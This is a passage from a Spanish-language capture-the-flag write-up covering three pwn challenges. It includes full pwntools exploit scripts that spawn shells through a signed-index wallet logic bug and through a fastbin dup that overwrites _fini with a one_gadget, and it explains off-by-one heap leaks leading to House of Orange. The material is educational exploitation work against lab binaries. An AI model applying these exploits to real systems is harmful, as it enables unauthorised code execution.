<p>Si reverseamos el binario de wallet con Ghidra, nos podemos dar cuenta de que en la funcion check, si la wallet que estamos checkeando tiene un valor de mas de <code class="language-plaintext highlighter-rouge">0x79797979</code>, llama a <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code>. Podemos crear wallets con 0x100 de valor y transferir valores entre ellas, pero tenemos un limite de creaciones que hace imposible alcanzar el valor que necesitamos solo con las funciones del binario.</p>
<p>Pero la funcion <code class="language-plaintext highlighter-rouge">sendwalocoins()</code> tiene un bug de logica:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">((</span><span class="n">walletcount</span> <span class="o"><</span> <span class="n">cVar1</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">walletcount</span> <span class="o"><</span> <span class="n">cVar2</span><span class="p">))</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"INVALID WALLET ID"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Si examinamos el <code class="language-plaintext highlighter-rouge">if</code> que checkea que ambas wallets que participan en la transferencia, nos damos cuenta de que referencia a las variables <code class="language-plaintext highlighter-rouge">cVar1</code> como el primer numero que ingresamos y a <code class="language-plaintext highlighter-rouge">cVar2</code> como el segundo. Si volvemos un poco atras en la funcion, a la inicializacion de estas variables, vemos:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">printf</span><span class="p">(</span><span class="s">"FROM >"</span><span class="p">);</span>
<span class="n">cVar1</span> <span class="o">=</span> <span class="n">getint</span><span class="p">();</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"TO >"</span><span class="p">);</span>
<span class="n">cVar2</span> <span class="o">=</span> <span class="n">getint</span><span class="p">();</span>
</code></pre></div></div>
<p>Obtiene los numeros de las wallets con una funcion llamada <code class="language-plaintext highlighter-rouge">getint()</code>. Podemos ver que hace esta funcion:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">getint</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">local_20</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">local_18</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="n">local_20</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">local_18</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">getline</span><span class="p">(</span><span class="o">&</span><span class="n">local_20</span><span class="p">,</span><span class="o">&</span><span class="n">local_18</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">atoi</span><span class="p">(</span><span class="n">local_20</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Vemos que hace una llamada a <code class="language-plaintext highlighter-rouge">getline()</code> y luego convierte el input a un integer usando <code class="language-plaintext highlighter-rouge">atoi()</code>. El bug esta en el uso de <code class="language-plaintext highlighter-rouge">atoi()</code>. Si volvemos a la funcion <code class="language-plaintext highlighter-rouge">sendwalocoins()</code> podemos ver que solo checkea que los numeros de las wallets no sean mayores a la cantidad de wallets que hemos creado, esto para evitar que hagamos transferencias desde direcciones que no pertenecen a una wallet real.</p>
<p>Pero no checkean que los numeros que hayamos introducido no sean MENORES a 0. Debido a que la funcion <code class="language-plaintext highlighter-rouge">atoi()</code> devuelve un integer, y no un unsigned integer o un unsigned long, podemos introducir un numero que sera interpretado como un valor negativo. En low level, si no se especifica que un numero es “unsigned”, este numero puede tomar un valor negativo. Los valores que son interpretados como negativos por el procesador son los <code class="language-plaintext highlighter-rouge">valor > 0x7fffffffffffffff && valor < 0x10000000000000000</code>, y los interpretados como positivos son los <code class="language-plaintext highlighter-rouge">valor > 0x00 && valor < 0x8000000000000000</code>.</p>
<p>Con esto, apuntaremos a una wallet falsa que se encuentre mas abajo en el heap, y transferiremos facilmente un valor mayor a <code class="language-plaintext highlighter-rouge">0x79797979</code> para luego spawnear una shell. Pero, a donde debemos apuntar esta wallet falsa? Simple. Usando la funcion <code class="language-plaintext highlighter-rouge">signmessage()</code>, podemos alloquear y freear un chunk. Este chunk ira a una lista llamda <code class="language-plaintext highlighter-rouge">tcachebin</code>, cuyo head pointer se encuentra en un struct llamado <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>. Este struct se encuentra en la base del heap. Entonces, podemos usar este pointer cuyo valor es, gracias al ASLR, mucho mayor a <code class="language-plaintext highlighter-rouge">0x79797979</code>, para transferir desde esta “wallet falsa” a una wallet real y luego conseguir nuestra shell.</p>
<p>El “exploit” final queda asi (aunque se puede hacer de forma manual perfectamente):</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"DEBUG"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./wallet"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="c1">#p = gdb.debug(elf.path, "c")
#p = remote("10.150.0.4", 9995)
</span><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">check</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"1"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">send</span><span class="p">(</span><span class="n">fromm</span><span class="p">,</span> <span class="n">to</span><span class="p">,</span> <span class="n">amount</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"2"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">">"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">fromm</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">">"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">to</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">">"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">amount</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">create</span><span class="p">():</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">sign</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"4"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span>
<span class="n">create</span><span class="p">()</span>
<span class="n">sign</span><span class="p">(</span><span class="s">"asd"</span><span class="p">)</span>
<span class="n">send</span><span class="p">(</span><span class="mh">0xffffff9a</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x79797979</span><span class="p">)</span>
<span class="n">check</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Un desafio muy interesante, que al menos para mi fue una buena introduccion a los bugs de logica.</p>
<h1 id="mision">Mision</h1>
<p>Motoko es un reto de heap con libc 2.30 compilada sin tcache. Nos entregan como material el <a href="/content/q42020/mision/bin">binario</a>, el <a href="/content/q42020/mision/ld.so">ld</a> y la <a href="/content/q42020/mision/libc.so.6">libc</a>. El binario tiene NX y Canary habilitadas, pero solo Partial RELRO y tampoco hay PIE:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ checksec bin
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: '.'
</code></pre></div></div>
<p>Si corremos el binario nos podemos dar cuenta de que nos da una direccion de libc para empezar. Podemos ver tambien que tenemos tres opciones: Agregar destino, eliminar destino y salir.</p>
<p>Vamos a saltarnos el reversing estatico para este desafio ya que el binario es bastante simple. Con un poco de analisis dinamico a traves de un debugger podemos hacernos una buena idea de como funciona todo. Con esto, podemos identificar que el bug es un UAF: podemos eliminar un destino mas de una vez (siempre y cuendo bypasseemos la double free check de los fastbins).</p>
<p>Si agregamos dos destinos, liberamos el primero, luego el segundo y luego el primero de nuevo no tendremos problemas con las checks. Podemos usar eso para hacer un fastbin dup.</p>
<p>Podemos intentar conseguir un chunk en la GOT para sobreescribir algo desde ahi, ya que solo tenemos partial Relro. Creo que esta era la solucion intended, pero yo no pude conseguir ningun size field apropiado en la GOT para poder hacer un fastbin dup hacia alla, por lo que opte por otra solucion.</p>
<p>Si usamos el comando <code class="language-plaintext highlighter-rouge">vmmap</code> en gdb, podemos ver las direcciones de memoria en las que esta mappeada cada seccion. Para este desafio nos es particularmente interesante la seccion ubicada justo arriba de la GOT. Esta seccion se llama <code class="language-plaintext highlighter-rouge">.dynamic</code>, y como podemos ver con <code class="language-plaintext highlighter-rouge">vmmap</code>, tenemos permisos de read y write hacia ella. En dynamic podemos encontrar un pointer a una seccion del codigo llamada <code class="language-plaintext highlighter-rouge">_fini</code>: el codigo en esta seccion se ejecuta siempre que el programa hace <code class="language-plaintext highlighter-rouge">exit</code>. Si conseguimos un chunk en <code class="language-plaintext highlighter-rouge">.dynamic</code> y sobreescribimos la direccion de <code class="language-plaintext highlighter-rouge">_fini</code> con la de un <a href="https://github.com/david942j/one_gadget">one_gadget</a>, obtendremos una shell. Justo antes del pointer a <code class="language-plaintext highlighter-rouge">_fini</code> esta el pointer a <code class="language-plaintext highlighter-rouge">_init</code>, por lo que podemos usar el Most-Significant-Byte de ese pointer como size field para nuestro chunk.</p>
<p>El exploit final queda asi:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"DEBUG"</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./bin"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="c1">#p = gdb.debug(elf.path, "c")
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"10.150.0.4"</span><span class="p">,</span> <span class="mi">9989</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="mh">0x30</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="s">""</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"1"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Distancia: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
<span class="k">if</span> <span class="n">data</span> <span class="o">!=</span> <span class="s">""</span><span class="p">:</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Direccion:"</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Direccion"</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"2"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Identificador"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"id : "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x6faf0</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="c1"># Fastbin dup
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x30</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x802012</span><span class="p">))</span> <span class="c1"># Address en .dynamic
</span><span class="n">alloc</span><span class="p">()</span>
<span class="n">alloc</span><span class="p">()</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x30</span><span class="p">,</span> <span class="s">"ASDFAS"</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0xc4dbf</span><span class="p">))</span> <span class="c1"># Sobreescribimos el pointer a _fini con un pointer a nuestro one_gadget
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"3"</span><span class="p">)</span> <span class="c1"># Llamamos a la funcion exit
</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span> <span class="c1"># Tenemos una shell!
</span></code></pre></div></div>
<p>Mision fue un desafio muy divertido para calentar para los heaps de despues :D</p>
<h1 id="motoko">Motoko</h1>
<p>Motoko es un reto de heap con libc 2.23. Nos entregan como material el <a href="/content/q42020/motoko/motoko">binario</a>, el <a href="/content/q42020/motoko/ld.so">ld</a> y la <a href="/content/q42020/motoko/libc.so.6">libc</a>. El binario tiene todas las protecciones habilitadas:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ checksec motoko
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
</code></pre></div></div>
<p>No explicare mucho de las basicas de explotacion de heap en este writeup. Si no te sientes comodo aun con muchos de los conceptos que uso en el writeup, o si quieres aprender mas de explotacion de heap, te recomiendo <a href="https://github.com/shellphish/how2heap/">este</a> repo.</p>
<p>No hace falta traducir el texto del binario, ya que simplemente podemos reversearlo para enterarnos de lo que hace. Casi todo pasa en la funcion main. Aqui dejo la decompilacion de Ghidra:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">undefined8</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">pvVar2</span><span class="p">;</span>
<span class="n">ulong</span> <span class="n">uVar3</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">local_bc</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">local_b8</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">**</span><span class="n">local_b0</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">local_98</span> <span class="p">[</span><span class="mi">17</span><span class="p">];</span>
<span class="n">undefined8</span> <span class="n">local_10</span><span class="p">;</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);,</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">#### ==== ==== ==== ####</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">" 私のオレンジ色の友達を歓迎します</span><span class="se">\n</span><span class="s">(System Ready, logged as Motoko ) "</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"#### ==== ==== ==== ####</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">local_b8</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">;</span>
<span class="n">local_b0</span> <span class="o">=</span> <span class="n">local_98</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="n">local_b8</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">local_b8</span> <span class="o">=</span> <span class="n">local_b8</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="o">*</span><span class="n">local_b0</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">local_b0</span> <span class="o">=</span> <span class="n">local_b0</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">local_bc</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">1- メッセージを追加 %u/%u</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_bc</span><span class="p">,</span><span class="mh">0x10</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"2- 削除する"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"3- 編集する"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"4- 読んだ"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"5- 出口"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"> "</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">read_num</span><span class="p">();</span>
<span class="k">switch</span><span class="p">(</span><span class="n">uVar1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_bc</span> <span class="o"><</span> <span class="mh">0x10</span><span class="p">)</span> <span class="p">{</span>
<span class="n">pvVar2</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x58</span><span class="p">);</span>
<span class="n">local_98</span><span class="p">[</span><span class="n">local_bc</span><span class="p">]</span> <span class="o">=</span> <span class="n">pvVar2</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_98</span><span class="p">[</span><span class="n">local_bc</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"request failed"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">local_bc</span> <span class="o">=</span> <span class="n">local_bc</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"maximum number of chunks reached"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"index: "</span><span class="p">);</span>
<span class="n">uVar3</span> <span class="o">=</span> <span class="n">read_num</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">uVar3</span> <span class="o"><</span> <span class="n">local_bc</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_98</span><span class="p">[</span><span class="n">uVar3</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"this chunk was already freed"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">free</span><span class="p">(</span><span class="n">local_98</span><span class="p">[</span><span class="n">uVar3</span><span class="p">]);</span>
<span class="n">local_98</span><span class="p">[</span><span class="n">uVar3</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"invalid index"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"index: "</span><span class="p">);</span>
<span class="n">uVar3</span> <span class="o">=</span> <span class="n">read_num</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">uVar3</span> <span class="o"><</span> <span class="n">local_bc</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_98</span><span class="p">[</span><span class="n">uVar3</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"cannot edit a free chunk"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"data: "</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">local_98</span><span class="p">[</span><span class="n">uVar3</span><span class="p">],</span><span class="mh">0x59</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"invalid index"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"index: "</span><span class="p">);</span>
<span class="n">uVar3</span> <span class="o">=</span> <span class="n">read_num</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">uVar3</span> <span class="o"><</span> <span class="n">local_bc</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_98</span><span class="p">[</span><span class="n">uVar3</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"cannot read from a free chunk"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">local_98</span><span class="p">[</span><span class="n">uVar3</span><span class="p">],</span><span class="mh">0x58</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"invalid index"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">5</span><span class="p">:</span>
<span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Un resumen de lo que hace cada input:</p>
<ol>
<li>Alloquea un chunk con <code class="language-plaintext highlighter-rouge">calloc(1, 0x58)</code>, siempre del mismo size, y guarda el pointer en un array en el stack.</li>
<li>Libera el chunk del index del array que le digamos con <code class="language-plaintext highlighter-rouge">free(ptr)</code>. Luego el ptr se elimina, por lo que no hay UAF.</li>
<li>Nos deja editar (introducir data) en un chunk a eleccion. Aqui esta el bug: read lee 0x59 bytes, cuando nuestro chunk solo es de 0x58. Tenemos un off-by-one.</li>
<li>Hace <code class="language-plaintext highlighter-rouge">puts(ptr)</code> con ptr siendo un ptr a un chunk que le digamos. Podremos usar esta funcion para conseguir los leaks necesarios.</li>
<li>Exit.</li>
</ol>
<p>Solo podemos alloquear chunks de size 0x58, por lo que un clasico fastbin dup sobre <code class="language-plaintext highlighter-rouge">__malloc_hook</code> esta eliminado de las posibilidades.</p>
<p>Personalmente me demore un poco en identificar el vector de ataque para este desafio, pero si hubiera traducido el texto del binaro lo habria podido hacer de inmediato XD. Si traducimos la primera frase del japones, obtenemos “Bienvenidos mis amigos naranjas”. Esta es una hint dejada por el creador dplastico para que sea mas facil identificar el vector de ataque. Pero, como ayuda esta hint a encontrarlo? Simplemente hay que conocer una tecnica de explotacion de heap de antemano. Esta tecnica se llama House of Orange (de ahi el “naranjo” de la hint).</p>
<p>No me adentrare mucho en la explicacion de House of Orange ya que es bastante compleja, pero si quieres entender mejor como funciona te recomiendo leer <a href="https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c">esto</a>.</p>
<p>En resumidas cuentas, House of Orange es una tecnica de File-Stream Oriented Programming (FSOP) usada en la explotacion de heap en versiones de libc hasta la 2.25 (en la 2.26 se mitiga el ataque). Consiste en sobreescribir el <code class="language-plaintext highlighter-rouge">_IO_list_all</code> pointer en libc para que apunte a una FILE structure falsa que podemos construir nosotros en el heap. Esta FILE structure falsa tendra un <code class="language-plaintext highlighter-rouge">vtable pointer</code> que apunte a <code class="language-plaintext highlighter-rouge">system@libc</code>. Cuando tengamos todo esto listo, provocaremos una llamada a <code class="language-plaintext highlighter-rouge">abort()</code> con un error en el unsortedbin, lo que flusheara los FILE streams, y cuando se encuentre con nuestro <code class="language-plaintext highlighter-rouge">_IO_list_all</code> ptr falso, flusheara tambien nuestra FILE structure falsa y saltara al ptr apuntado por nuestra <code class="language-plaintext highlighter-rouge">vtable</code> - <code class="language-plaintext highlighter-rouge">system</code>.</p>
<p>Para hacer House of Orange necesitamos leaks tanto de libc como del heap. Para esto podemos usar nuestro off-by-one para sobreescribir el size de un chunk a uno mayor, luego liberar este chunk, haciendo que se vaya a unsortedbin y dejandonos un puntero a libc. Luego podemos alloquear de nuevo, y el ptr a libc se “empujara” a nuestro siguiente chunk alloqueado. Ahora podemos leerlo usando la funcion (4) para conseguir nuestro leak de libc. Luego, podemos seguir un procedimiento similar para obtener chunks superpuestos, y tras liberar uno usar la funcion para mostrar con el otro para obtener un leak de heap. Teniendo estos dos leaks, estamos listos para ejecutar el ataque de HoO.</p>
